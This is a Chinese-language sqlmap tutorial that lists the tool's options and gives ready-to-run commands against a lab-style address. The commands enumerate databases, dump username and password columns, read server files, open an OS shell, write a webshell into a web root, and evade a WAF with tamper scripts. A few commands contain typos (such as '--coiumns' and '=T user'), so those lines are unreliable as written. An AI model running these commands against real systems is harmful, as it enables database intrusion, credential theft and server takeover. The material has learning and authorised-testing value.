i sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL和SQL注入漏洞,其广泛的功能和选项包括数据库指纹,枚举,数据库提权,访问目标文件系统,并在获取操作权限时执行任意命令。
希望这篇文章能让你不仅有一定的收获,而且可以愉快的学习,如果有什么建议,都可以留言和我交流
sqlmap相关参数介绍
- -u get注入
- -r post注入
- -r --level cookies注入
执行测试的等级(1-5,默认为1),使用–level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。
- -v 信息级别显示
ERBOSE信息级别: 0-6 (缺省1),其值具体含义:“0”只显示python错误以及严重的信息;1同时显示基本信息和警告信息(默认);“2”同时显示debug信息;“3”同时显示注入的payload;“4”同时显示HTTP请求;“5”同时显示HTTP响应头;“6”同时显示HTTP响应页面;如果想看到sqlmap发送的测试payload最好的等级就是3。
- -p 针对单个参数注入
- -threads 线程数
- -batch-smart 智能判断测试
- --moblie 模拟手机环境站点
- -m 批量注入
注入获取数据的命令 (python版本为2.7.9)
- --dbs 系统所有库名(自动检测数据库的类型)
python2 sqlmap.py -u http://10.0.0.130:90/sql.php?id=1 --dbs
- --current-db 获取当前数据库名
python2 sqlmap.py -u http://10.0.0.130:90/sql.php?id=1 --current-db
- --current-user 数据库管理系统的当前用户
python2 sqlmap.py -u http://10.0.0.130:90/sql.php?id=1 --current-user
- --is-dba 判断当前的用户是否为系统管理员
python2 sqlmap.py -u http://10.0.0.130:90/sql.php?id=1 --is-dba
true 是管理员false 没有权限
- --users 系统所有的用户
python2 sqlmap.py -u http://10.0.0.130:90/sql.php?id=1 --users
- --tables 获取表名
python2 sqlmap.py -u http://10.0.0.130:90/sql.php?id=1 --tables -D abc
- --coiumns 获取字段名
python2 sqlmap.py -u http://10.0.0.130:90/sql.php?id=1 --columns -T user -D abc
- -T 表名 -C username,password --dump 数据的内容
python2 sqlmap.py -u http://10.0.0.130:90/sql.php?id=1 =T user -C id,username,password,email --dump
- 读取文件内容 --file-read 文件路径文件名
python2 sqlmap.py -u http://10.0.0.130:90/sql.php?id=1 --file-read c:\1.txt
- 系统交互的shell --os-shell
python2 sqlmap.py -u http://10.0.0.130:90/sql.php?id=1 --os-shell
- 写webshell
前提条件my.ini中的secure_file_priv=""要为空
python2 sqlmap.py -u http://10.0.0.130:90/sql.php?id=1 --file-write "e:/1.txt" --file-dest "C:/phpstudy/WWW/3.php" -v1
- sqlmap过waf --tamper "" 多个参数用逗号隔开
python2 sqlmap.py -u http://10.0.0.130:90/sql.php?id=1 --tamper "base64encode.py" --dbs -v 4